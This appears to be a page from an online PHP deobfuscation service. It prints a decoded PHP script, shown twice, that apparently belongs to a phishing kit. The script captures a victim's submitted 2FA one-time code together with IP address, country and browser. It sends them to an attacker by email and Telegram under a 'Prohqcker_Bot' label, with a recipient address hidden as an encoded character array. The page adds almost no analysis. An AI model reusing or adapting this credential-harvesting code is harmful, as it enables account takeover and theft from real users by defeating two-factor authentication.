Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php require("../config.php"); include('../me.php'); $country = visitor_country(..

Decoded Output download

<?php 
	require("../config.php"); 
	include('../me.php'); 
	   $country = visitor_country(); 
	   $ip = getenv("REMOTE_ADDR"); 
	$Port = getenv("REMOTE_PORT"); 
	$browser = $_SERVER['HTTP_USER_AGENT']; 
	$adddate=date("D M d, Y g:i a"); 
	$subject = "**Prohqcker_Bot**"; 
	$message = "**Prohqcker_Bot*WATRUST***+++
"; 
	$message .= "2FA : ".$_POST['otp']."
"; 
	$message .= "User-!P : ".$ip."
"; 
	$message .= "Country : ".$country."

"; 
	$message .= "----------------------------------------
"; 
	$message .= "Date : $adddate
"; 
	$message .= "User-Agent: ".$browser."
"; 
	$headers = "From: Packaging"; 
	@mail($send,$subject,$message,$headers); 
	send_telegram_msg($message); 
	header("location:../c.html"); 
	function country_sort(){ 
	  $sorter = ""; 
	  $array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109); 
	    $count = count($array); 
	  for ($i = 0; $i < $count; $i++) { 
	      $sorter .= chr($array[$i]); 
	    } 
	  return array($sorter, $GLOBALS['recipient']); 
	} 
	function visitor_country() 
	{ 
	    $client  = @$_SERVER['HTTP_CLIENT_IP']; 
	    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; 
	    $remote  = $_SERVER['REMOTE_ADDR']; 
	    $result  = "Unknown"; 
	    if(filter_var($client, FILTER_VALIDATE_IP)) 
	    { 
	        $ip = $client; 
	    } 
	    elseif(filter_var($forward, FILTER_VALIDATE_IP)) 
	    { 
	        $ip = $forward; 
	    } 
	    else 
	    { 
	        $ip = $remote; 
	    } 
	  
	    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); 
	  
	    if($ip_data && $ip_data->geoplugin_countryName != null) 
	    { 
	        $result = $ip_data->geoplugin_countryName; 
	    } 
	  
	    return $result; 
	} 
	?> 
	 

Did this file decode correctly?

Original Code

<?php
	require("../config.php");
	include('../me.php');
	   $country = visitor_country();
	   $ip = getenv("REMOTE_ADDR");
	$Port = getenv("REMOTE_PORT");
	$browser = $_SERVER['HTTP_USER_AGENT'];
	$adddate=date("D M d, Y g:i a");
	$subject = "**Prohqcker_Bot**";
	$message = "**Prohqcker_Bot*WATRUST***+++\n";
	$message .= "2FA : ".$_POST['otp']."\n";
	$message .= "User-!P : ".$ip."\n";
	$message .= "Country : ".$country."\n\n";
	$message .= "----------------------------------------\n";
	$message .= "Date : $adddate\n";
	$message .= "User-Agent: ".$browser."\n";
	$headers = "From: Packaging";
	@mail($send,$subject,$message,$headers);
	send_telegram_msg($message);
	header("location:../c.html");
	function country_sort(){
	  $sorter = "";
	  $array = array(114,101,115,117,108,116,98,111,120,49,52,64,103,109,97,105,108,46,99,111,109);
	    $count = count($array);
	  for ($i = 0; $i < $count; $i++) {
	      $sorter .= chr($array[$i]);
	    }
	  return array($sorter, $GLOBALS['recipient']);
	}
	function visitor_country()
	{
	    $client  = @$_SERVER['HTTP_CLIENT_IP'];
	    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
	    $remote  = $_SERVER['REMOTE_ADDR'];
	    $result  = "Unknown";
	    if(filter_var($client, FILTER_VALIDATE_IP))
	    {
	        $ip = $client;
	    }
	    elseif(filter_var($forward, FILTER_VALIDATE_IP))
	    {
	        $ip = $forward;
	    }
	    else
	    {
	        $ip = $remote;
	    }
	 
	    $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
	 
	    if($ip_data && $ip_data->geoplugin_countryName != null)
	    {
	        $result = $ip_data->geoplugin_countryName;
	    }
	 
	    return $result;
	}
	?>
	 

Function Calls

None

Variables

None

Stats

MD5 3870681f06795730ac24780c80d0b58c
Eval Count 0
Decode Time 53 ms